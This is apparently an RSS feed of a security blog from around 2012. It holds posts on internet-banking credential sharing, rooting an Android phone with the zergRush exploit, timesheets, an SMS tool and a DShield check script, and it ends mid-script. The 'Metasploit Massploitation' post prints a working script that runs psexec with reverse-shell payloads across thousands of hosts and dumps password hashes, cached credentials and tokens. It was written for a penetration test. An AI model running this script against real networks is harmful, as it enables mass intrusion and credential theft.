<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" >
<channel>
    
    <title>Dominic White</title>
    <link>http://www.singe.za.net/blog/</link>
    <description>.tHE pRODUCT - Security &amp; Privacy Blog</description>
    <dc:language>en</dc:language>
    <generator>Serendipity  - http://www.s9y.org/</generator>
    <managingEditor>webmaster@singe.rucus.net</managingEditor>
<webMaster>webmaster@singe.rucus.net</webMaster>
<ttl>2160</ttl>
<pubDate>Tue, 07 Feb 2012 11:30:40 GMT</pubDate>

    <image>
        <url>http://singe.za.net/pics/links/tHEpRODUCT-blue.gif</url>
        <title>RSS: Dominic White - .tHE pRODUCT - Security &amp; Privacy Blog</title>
        <link>http://www.singe.za.net/blog/</link>
        <width>120</width>
        <height>29</height>
    </image>

<item>
    <title>Happy Birthday Dear Blog</title>
    <link>http://www.singe.za.net/blog/archives/1047-Happy-Birthday-Dear-Blog.html</link>
            <category>Play</category>
    
    <comments>http://www.singe.za.net/blog/archives/1047-Happy-Birthday-Dear-Blog.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1047</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1047</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Today marks the 8th anniversary of my blog, and my official entry into infosec. &lt;br /&gt;&lt;/p&gt; It&#039;s been a wild ride, with the move to SensePost the best decision 
yet. After the blog template got laughed at on the twitters, I decided 
to give it a new theme. Thanks muchly to confluence from atrum for the 
CSS n00b help.
&lt;p&gt;This year wasn&#039;t quite as eventful as 2010 or &amp;quot;The 
Year I Got Slashdot&#039;ted&amp;quot;, but I think 2011 was the year of my highest 
quality content, with some long, hard-thought entries. So far the blog 
has 908 entries, with 872 public and 36 hidden because I got too scared.
 By comparison, I have vomited 8288 tweets into the ether since 2007.&lt;/p&gt;Thanks to those that read it, and the feedback you give me. Here&#039;s to year 9. 
    </content:encoded>

    <pubDate>Sun, 05 Feb 2012 13:23:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1047-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Internet Banking, 22seven &amp; Security Fallacies</title>
    <link>http://www.singe.za.net/blog/archives/1045-Internet-Banking,-22seven-Security-Fallacies.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1045-Internet-Banking,-22seven-Security-Fallacies.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1045</wfw:comment>

    <slash:comments>6</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1045</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    There&#039;s been a lot of hoopla recently about internet banking security and the introduction of 22seven. I&#039;d like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.&lt;br /&gt; &lt;h3&gt;1) 22seven is secure &lt;/h3&gt; 
&lt;p&gt;Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in &lt;a href=&quot;https://www.22seven.com/security.html&quot;&gt;their description&lt;/a&gt;. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don&#039;t know if the testers did a good job or not. For me to take their claim seriously I&#039;d like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can&#039;t know.&lt;/p&gt; 
&lt;p&gt;On the flip side, I use tons of online services all day that don&#039;t even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don&#039;t want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.&lt;br /&gt;&lt;/p&gt; 
&lt;h3&gt;2) 22seven is safe because they use Yodlee and they are safe&lt;/h3&gt; 
&lt;p&gt;This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by &lt;a href=&quot;http://simon.co.za/why-its-safe-to-use-22seven/&quot;&gt;Simon Dingle&lt;/a&gt;. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. &lt;a href=&quot;http://memeburn.com/2012/02/why-22seven-is-most-probably-but-not-necessarily-safe/&quot;&gt;Paul Cartmel&lt;/a&gt; reminds us of the old security truism; that you&#039;re only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren&#039;t targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.&lt;/p&gt; 
&lt;p&gt;Even then, the use of a third party, with whom I have no contractual relationship, in another country&#039;s jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?&lt;/p&gt; 
&lt;p&gt;Once again, you do this all the time, so put it into perspective a little :)&lt;br /&gt;&lt;/p&gt; 
&lt;h3&gt;3) Yodlee is safe, because they&#039;ve never been breached in 13 years&lt;/h3&gt; 
&lt;p&gt;If you refer back to point (1) you&#039;ll note that I didn&#039;t use &amp;quot;no past breaches&amp;quot; as a criteria for &amp;quot;secure&amp;quot;. This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don&#039;t have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.&lt;/p&gt; 
&lt;h3&gt;4) Yodlee&#039;s access to your bank account is a good idea&lt;/h3&gt; 
&lt;p&gt;I&#039;m paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM&#039;s that support this have been around for a while. I&#039;ve been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you&#039;ll not I do fall prey to some of the problems I listed above re jurisdiction &amp;amp; the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn&#039;t require credential disclosure. Here, let me draw a picture:&lt;/p&gt; 
&lt;p&gt;&lt;a class=&quot;serendipity_image_link&quot; href=&quot;http://www.singe.za.net/blog/uploads/22seven.png&quot;&gt;&lt;!-- s9ymdb:123 --&gt;&lt;img width=&quot;640&quot; height=&quot;167&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/22seven.png&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;/p&gt; 
&lt;h3&gt;Banks Response&lt;br /&gt;&lt;/h3&gt; 
&lt;p&gt;There seem to have been two responses from two banks, Absa and FNB. Absa&#039;s response was to block Yodlee&#039;s servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, &lt;del&gt;has responded by&lt;/del&gt; will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional (&amp;quot;confirmation&amp;quot;) OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you&#039;ve found an illegal one, it&#039;s possibly too late). &lt;del&gt;Hopefully they&#039;ll respond. &lt;/del&gt;FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.&lt;/p&gt; 
&lt;h3&gt;Conclusion&lt;/h3&gt; 
&lt;p&gt;I&#039;m not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I&#039;m not even saying us not knowing they&#039;re safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I&#039;m sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I&#039;m also not joining in any name calling, I disagree with some of Simon and Paul&#039;s points and agree with others, but this stands as my opinion in the end.&lt;/p&gt; 
&lt;p&gt;Update: Modified the &amp;quot;Bank&#039;s Response&amp;quot; section based on feedback from FNB. Thanks for going to the trouble of contacting me :)&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 02 Feb 2012 14:26:01 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1045-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>How to root a Motorola Atrix 4G on 2.3.4</title>
    <link>http://www.singe.za.net/blog/archives/1044-How-to-root-a-Motorola-Atrix-4G-on-2.3.4.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1044-How-to-root-a-Motorola-Atrix-4G-on-2.3.4.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1044</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1044</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Thanks to &lt;a href=&quot;http://simon.co.za/&quot; title=&quot;Simon Dingle&quot;&gt;Simon Dingle&lt;/a&gt;, I&#039;m going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the &amp;quot;direct consequences&amp;quot; camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying &amp;quot;shady unknown consequences&amp;quot; camp, an app call &amp;quot;Arabware [1]&amp;quot; offered to &amp;quot;localize&amp;quot; my services, and&amp;#160; also could not be uninstalled or stopped. I decided it was time I got root.&lt;/p&gt; 
&lt;p&gt;The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola &lt;strong&gt;DOES NOT HAVE AN UNLOCKED BOOTLOADER&lt;/strong&gt;. No problem they say, &lt;a href=&quot;http://www.addictivetips.com/mobile/unlock-motorola-atrix-4g-bootloader-on-froyo-gingerbread/&quot;&gt;just flash this firmware in this ZIP file&lt;/a&gt;, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it: &lt;/p&gt; 
&lt;blockquote&gt;&amp;quot;The2dCour, known troll in your phone.&amp;quot;&lt;/blockquote&gt; Awesome. Not a chance I&#039;m touching that.&lt;br /&gt;Here&#039;s a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.&lt;br /&gt; 
&lt;p&gt; &lt;/p&gt; &lt;p&gt;All I wanted was root. I&#039;m familiar enough with Linux to make my way after that. If you&#039;re &amp;quot;non-technical&amp;quot; then move along :) The steps are:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt; Put your phone into USB debugging mode.&lt;/li&gt; 
&lt;li&gt;Download and install the Android Debugging tool from the &lt;a href=&quot;http://developer.android.com/sdk/&quot; title=&quot;Android SDK&quot;&gt;Android SDK&lt;/a&gt;.&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;You&#039;ll need to run the SDK executable (android) and install the &amp;quot;Platform Tools&amp;quot; to get ADB these days.&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;Plug your phone into your computer.&lt;/li&gt; 
&lt;li&gt;Run &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb devices&lt;/font&gt;&amp;quot;. You should see the serial number of your phone appear.&lt;/li&gt; 
&lt;li&gt;Download the &lt;a href=&quot;https://github.com/downloads/revolutionary/zergRush/zergRush.zip&quot;&gt;binary zergRush exploit&lt;/a&gt; from it&#039;s developers. The &lt;a href=&quot;https://github.com/revolutionary/zergRush/blob/37f10d59dbe9ca6d76930a7e136d2d69b4b0b159/zergRush.c&quot; title=&quot;zergRush Source&quot;&gt;source code&lt;/a&gt; is also available for you to examine (or compile).&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Upload it to your device with &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb push zergRush /data/local/tmp&lt;/font&gt;&amp;quot;.&lt;/li&gt; 
&lt;li&gt;Connect to your device with &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;adb shell&lt;/font&gt;&amp;quot;&lt;/li&gt; 
&lt;li&gt;In the shell, switch to the temp dir and run zergRush &amp;quot;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;cd /data/local/tmp/; ./zergRush&lt;/font&gt;&amp;quot;&lt;/li&gt; 
&lt;li&gt;You should see the following (the image below has been partially redacted):&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;!-- s9ymdb:122 --&gt;&lt;img width=&quot;469&quot; height=&quot;271&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/zergRush-Atrix.png&quot; alt=&quot;&quot;  /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;If you get the &amp;quot;Killing ADB and restarting as root&amp;quot; line, then it&#039;s worked. Exit your adb shell and reconnect. You&#039;ll see a &amp;quot;#&amp;quot; as your prompt indicating you&#039;re root.&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p&gt;And that&#039;s it. On the one hand, I&#039;m happy there&#039;s a &amp;quot;safer&amp;quot; easy way to get root on my own device, on the other hand, I&#039;m uncomfortable with the fact that one of Motorola&#039;s flagship phones can be 0nwed so easily, with no update forthcoming.&lt;/p&gt; 
&lt;p&gt;[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I&#039;m not saying it&#039;s shady, just that I see no reason why it should be a mandatory app in South Africa.&lt;br /&gt;&lt;/p&gt; 
&lt;ol&gt; &lt;/ol&gt; 
    </content:encoded>

    <pubDate>Mon, 16 Jan 2012 14:56:59 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1044-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Metasploit Massploitation</title>
    <link>http://www.singe.za.net/blog/archives/1043-Metasploit-Massploitation.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1043-Metasploit-Massploitation.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1043</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1043</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;In light of past and recent posts from mubix (&lt;a href=&quot;blog.metasploit.com/2010/03/automating-metasploit-console.html&quot; title=&quot;Automating Metasploit Console&quot;&gt;one&lt;/a&gt;, &lt;a href=&quot;http://www.room362.com/blog/2011/11/1/run-post-modules-on-all-sessions.html&quot; title=&quot;Run POST modules on all sessions&quot;&gt;two&lt;/a&gt;) and &lt;a href=&quot;http://blog.pentestify.com/simple-framework-domain-token-scanner&quot;&gt;jcran&lt;/a&gt;, I thought I&#039;d post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I&#039;d throw my hat in the ring. Thank to mubix for his help on the job with some of it.&lt;br /&gt;&lt;/p&gt; 
&lt;div class=&quot;storycontent&quot;&gt; 
&lt;p&gt;On a pentest with a massive internal network, we managed to 
get access to 22k machines as local admin using a local account (verified with ncrack). 
Obvious domain priv esc routes were shut down, so it was time to extend our control and information. I wanted hashes, cached domain creds and available tokens from 
each of these. So I put together the following metasploit massploitation
 script. The main difference between this and the other solutions posted, is that my box fell over with several thousand meterpreter sessions open, so I wanted a way to automate connecting &amp;amp; pulling the info without needed all the sessions to be open at once.&lt;br /&gt;&lt;/p&gt; 
&lt;/div&gt; Essentially, there are three parts: 


&lt;ol&gt; 
&lt;li&gt;The massploitation.rc, this is the script run in the console (capturing the output is a good idea)&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;The targets file which has a list of targets, one per line&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.&lt;br /&gt;&lt;/li&gt; 
&lt;/ol&gt;&lt;strong&gt;massploit-generic.rc&lt;/strong&gt; 
&lt;pre&gt;use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST &amp;lt;Local IP&amp;gt;
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser &amp;lt;username&amp;gt;
set SMBPass &amp;lt;pass or hash&amp;gt;
set SMBDomain &quot;.&quot;
set DisablePayloadHandler true

&amp;lt;ruby&amp;gt;
	hostsfile = &quot;&amp;lt;file containing hosts one per line&amp;gt;&quot;
	File.open(hostsfile).each do |host|
		host.strip!
		print_status(&quot;Targetting #{host}&quot;)
		self.run_single(&quot;set RHOST #{host}&quot;)
		self.run_single(&quot;exploit -j -z&quot;)
		flag = false
		count = 0
		while ( flag == false and count &amp;lt; 5 )
			if ( framework.sessions.length &amp;gt; 0 )
				self.run_single(&quot;sessions -s extract.rc&quot;)
				flag = true
				#self.run_single(&quot;sessions &lt;a href=&quot;http://framework.sessions.length&quot;&gt;-K&quot;)&lt;/a&gt;  #trying to resolve the race condition, this didn&#039;t work
			else
				count += 1
			end
			sleep(5)
		end
	end
&amp;lt;/ruby&amp;gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;extract.rc&lt;/strong&gt;&lt;/p&gt; 
&lt;pre&gt;print_status(client.sys.config.sysinfo[&quot;Computer&quot;])
print_status(client.sys.config.sysinfo[&quot;OS&quot;])
client.console.run_single(&quot;load incognito&quot;)
client.console.run_single(&quot;list_tokens -u&quot;)
client.console.run_single(&quot;run post/windows/gather/cachedump&quot;)
client.console.run_single(&quot;hashdump&quot;)
&lt;a href=&quot;http://client.sys.config.sysinfo&quot;&gt;client.console.run_single(&quot;exit&quot;)&lt;/a&gt;  #Rather kill the session here&lt;/pre&gt; 
&lt;p&gt;The stuff isn’t perfect, as there is a race condition where sometimes
 it tries to execute the meterpreter script before the meterpreter 
session is ready. Other than the delay, I’ll need to spend some time to 
understand metasploit’s threading.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 08 Jan 2012 20:42:59 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1043-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Timesheets - You're doing it wrong</title>
    <link>http://www.singe.za.net/blog/archives/1042-Timesheets-Youre-doing-it-wrong.html</link>
            <category>Life</category>
    
    <comments>http://www.singe.za.net/blog/archives/1042-Timesheets-Youre-doing-it-wrong.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1042</wfw:comment>

    <slash:comments>9</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1042</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&amp;#160;When managing teams of &amp;quot;information workers&amp;quot;, I believe the use of time sheets is indicative of a management failure. Here&#039;s why:&lt;br /&gt;&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;If you have to rely on a timesheet to know what your staff are doing - you&#039;re doing it wrong&lt;/li&gt; 
&lt;li&gt;If you can&#039;t trust your staff to work hard - you have problems a timesheet won&#039;t fix&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;If you believe you have too many staff to manage - get more managers&lt;/li&gt; 
&lt;li&gt;If you think anyone completes them accurately - you drank the kool aid&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;If you think the time it takes to actually complete them accurately is worth it - you hate your staff&lt;/li&gt; 
&lt;li&gt;If you manage your business from these inaccurate stats - you&#039;re making bad decisions&lt;/li&gt; 
&lt;li&gt;If your senior people have PAs complete their timesheets for them - you&#039;re a hypocrite&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;If you spent millions on a new timesheet system, but didn&#039;t make it any easier for the staff using the system - you just suck&lt;/li&gt; 
&lt;/ul&gt;  
    </content:encoded>

    <pubDate>Sun, 20 Nov 2011 20:00:48 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1042-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Commandline SMS v2</title>
    <link>http://www.singe.za.net/blog/archives/508-Commandline-SMS-v2.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/508-Commandline-SMS-v2.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=508</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=508</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Update: I moved the code to &lt;a href=&quot;https://github.com/singe/vodasms-cli&quot;&gt;my github repository, get it there&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;(See other updates at the bottom)&lt;/p&gt; 
&lt;p&gt;Many South African &lt;a title=&quot;Vodacom South Africa&quot; href=&quot;http://www.vodacom.co.za/&quot;&gt;Vodacom&lt;/a&gt; cell phone users are stuck with a horrid piece of website known as &lt;a title=&quot;Bleagh!&quot; href=&quot;http://www.vodacom4me.co.za/&quot;&gt;Vodacom4Me&lt;/a&gt;. It uses frames and Javascript to ensure some of the slowest load times you can imagine and has a session cookie that expires rather too quickly, leaving you watching page loads most of your day. In addition it is often buggy. The reason many people bear with this awful service is that it lets you send 20 free sms (text) messages a day.&lt;/p&gt; 
&lt;p&gt;A long time ago this service used to be free and open to anyone, back then we had a cool perl script written by our resident perl guru, &lt;a title=&quot;Vhata vas Hyah&quot; href=&quot;http://vhata.rucus.net/&quot;&gt;Jonathan Hitchcock&lt;/a&gt;. However this service soon changed to a login based service and I &lt;a title=&quot;Commandline SMS&quot; href=&quot;http://singe.rucus.net/blog/archives/115-Commandline-SMS.html&quot;&gt;released a modification of his script&lt;/a&gt;. The web team at vodacom then decided to bludgeon the page a bit more and my last attempt has sat idle and not-working.&lt;/p&gt; 
&lt;p&gt;However, after some considerable effort, I present the &lt;a href=&quot;http://singe.rucus.net/utils/vodasms.tar.gz&quot; title=&quot;VodaSMS Tarball&quot;&gt;new and improved vodasms&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;This version retains many of the cool features of the last two, such as a phonebook and logging, but adds a configuration file, better packaging and the ability to create your own time saving vodacom4me forms.&lt;/p&gt; 
&lt;p&gt;If you would like to get hold of this, download the package from &lt;a href=&quot;http://singe.rucus.net/utils/vodasms.tar.gz&quot; title=&quot;VodaSMS Tarball&quot;&gt;here&lt;/a&gt;, extract it, and read the (fairly detailed) README file. Windows users can use it too, with &lt;a href=&quot;http://www.google.co.za/url?sa=t&amp;amp;ct=res&amp;amp;cd=2&amp;amp;url=http%3A//www.activestate.com/Products/ActivePerl/&amp;amp;ei=RSwBQ9-5DZKO-AH5sbzbAQ&quot; title=&quot;Active Perl&quot;&gt;ActivePerl&lt;/a&gt;, I haven&#039;t tested it though. From extraction to running, it shouldn&#039;t take more than 5 minutes to configure.&lt;/p&gt; 
&lt;p&gt;This essentially lets you send an sms from the command line by typing lines like:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;vodasms 0761234567 hello&lt;br /&gt;vodasms Dominic &amp;quot;hello&amp;quot;&lt;/font&gt;&lt;/p&gt;What I mean by &#039;your own time saving vodacom4me forms&#039; are simple HTML recreations of the same forms generated by Vodacom&#039;s JavaScript. Check the vodaform/ directory in the package.&lt;br /&gt; 
&lt;p&gt;If you open the send page in another window/tab, then login via the login page and close it once it starts redirecting you to the horrors of vodacom4me. Next switch to your send page and fill in the number and message and click send. Away it works. I essentially used the &lt;a href=&quot;http://search.cpan.org/~petdance/WWW-Mechanize-1.02/lib/WWW/Mechanize.pm&quot; title=&quot;PerlDoc&quot;&gt;WWW::Mechanize&lt;/a&gt; modules to do the same thing. It isn&#039;t the most elegant of solutions, but after trying to make my perl bot fake entire pages written in Javascript (seriously, no HTML, all JavaScript) I lost it and went for the easy solution.&lt;/p&gt; 
&lt;p&gt;On the up side, it does provide a neat decoupled intermediary, where you can modify the forms to handle changes they make to vodacom4me, without too much difficulty.&lt;/p&gt; 
&lt;p&gt;UPDATE: Two fixes were just added. The phonebook search was iterating through the entire phonebook instead of stopping on the first found entry. Also 076 numbers are now supported. I updated the readme to intruct people to send me an sms when they get it working. I like getting sms&#039;es.&lt;/p&gt; 
&lt;p&gt;UPDATE 21 April 2006: The benefits of the form decoupling in action: Vodacom changed their login form to use SSL, this required a simple change of the HTML instead of the perl script. Also I have a new cell phone number, the example phone book has been updated so that you can all sms me! The package is up at the same place.&lt;/p&gt; 
&lt;p&gt;UPDATE 1 March 2011: The tools has been updated to support the new Vodacom portal. &lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 16 Aug 2005 01:43:50 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/508-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Am I Hacked?</title>
    <link>http://www.singe.za.net/blog/archives/494-Am-I-Hacked.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/494-Am-I-Hacked.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=494</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=494</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Update: This long stopped working, I just updated it (Nov 2011), and moved it to github, grab it &lt;a href=&quot;https://github.com/singe/hackcheck&quot;&gt;here&lt;/a&gt;. &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a title=&quot;Distributed Intrusion Detection System&quot; href=&quot;http://www.dshield.org/&quot;&gt;DShield&lt;/a&gt; has a &lt;a title=&quot;Are you cracked?&quot; href=&quot;http://www.dshield.org/warning_explanation.php&quot;&gt;nice webpage&lt;/a&gt; where you can check whether an IP address appears in the DShield database as an attacker, a good sign that your machine has been compromised. There have been some extensions of this service, such as &lt;a title=&quot;Leaks from the Tinfoil Beanie&quot; href=&quot;http://johannes.homepc.org/blog/&quot;&gt;
Johannes Ullrich&lt;/a&gt;&#039;s &amp;quot;&lt;a title=&quot;Find out what got you before it gets you.&quot; href=&quot;http://www.amihacked.com/&quot;&gt;amIhacked?&lt;/a&gt;&amp;quot;.&lt;/p&gt;
&lt;p&gt;I decided this was quite a nice service, so I hacked up a perl script which will do the check for me. I then made a quick cron script which would only mail me if my machine ever appears as an attacker, thus my daily runs aren&#039;t cluttered. This is not a foolproof method. It is possible for a machine to get cracked and not appear in the DShield database, but if it is there then there is a fairly good chance something is wrong.&lt;/p&gt; The script is simple, no arguments and it checks your machines IP, or pass an IP to see if it is in the database. It is available for download &lt;a href=&quot;http://singe.rucus.net/utils/hackcheck&quot; title=&quot;HackCheck&quot;&gt;here&lt;/a&gt;. Example output:

&lt;blockquote&gt; 
&lt;pre&gt;$ hackcheck.pl
146.231.115.12 is Safe
$ hackcheck.pl 0.0.0.0
0.0.0.0 is Hacked : It appears 157,699 times.&lt;/pre&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;The cron script is very simple. Just drop it into /etc/cron.daily or the like.
&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;pre&gt;#!/bin/sh
test -f /usr/bin/hackcheck.pl || exit 0

MAILTO=root

#Put the IP address of the machine you want checked here
IP=0.0.0.0

[ -z &quot;$MAILTO&quot; ] &amp;amp;&amp;amp; exit 1

hackcheck.pl $IP &amp;gt; /dev/null
if [ &quot;$?&quot; -eq &quot;1&quot; ]; then
